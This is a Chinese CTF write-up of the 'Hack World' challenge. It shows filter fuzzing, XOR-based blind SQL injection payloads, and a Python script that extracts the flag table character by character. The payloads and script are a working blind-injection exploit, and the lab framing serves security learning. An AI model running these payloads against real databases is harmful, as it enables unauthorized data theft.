一、Hack World
打开环境:显示“所有你想知道的都在flag表中的flag行中”。所以基本确定是sql注入
二、初探
这个时候我们确定是sql注入,开始对它进行一个初步的测试,判断采取哪种注入方式。
先输入1:
回显。
输入0:
回显不一致。
随后开始尝试报错使用 1’:
返回bool(false),没有报错信息(报错注入不可能了,第一想法是联合注入或盲注)
尝试闭合 1’–+ 或 1’#:
发现有检测,于是Fuzzing测试一下过滤了多少关键词:
发现大部分关键词都不能用,之前想法是盲注和联合注入但是过滤符和几个盲注和联合注入的关键词都被过滤了。然后联想到刚刚id=1,和id=0出现的不一致回显,是不是可以利用一下。于是想到异或盲注,利用if()函数返回值进行异或盲注。
三、解题
id=0^if((length(database())>=11),1,0)
测试数据库长度(同时也是验证自己猜想的一个快速办法)
id=0^if((length(database())>=12),1,0)
思路正确,判断出数据库长度为11
接下来有三种方法:
- 纯手工盲注
- 利用brup suite
- python脚本
考虑到可能有上千种可能这里我利用python脚本(又快又方便)再写脚本前先构造一下payload:
0^if(ascii(substr((select(flag)from(flag)),1,1))=102,1,0)
开始写脚本:
import requests
result=""
num=0
url="http://dd0ad94f-5c51-42ee-ab73-99885b852c2d.node3.buuoj.cn"
for i in range(1,60):
if num==1:
break
for j in range(32,128):
payload="if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,0)"%(i,j);
data={"id":payload,}
r=requests.post(url,data=data)
r.encoding=r.apparent_encoding
if "Hello" in r.text:
x=chr(j)
result+=str(x)
print(result)
break
if "}" in result:
print(result)
num=1
break
脚本参考了一下网上的现有脚本。
总结
这道题考察了异或注入,针对于数字型注入。让我比较受启发的是关于开展SQL注入的流程,一般对一道题进行审查的的时候要先确定它的注入类型(是字符型,还是数字型),然后判断可能的注入方式(联合注入,报错注入,盲注),然后测试过滤和其他防护,并选择如何绕过,最后构造payload。
考察的知识点:
- 异或关系
- 过滤的绕过
- sql盲注
- 盲注脚本的编写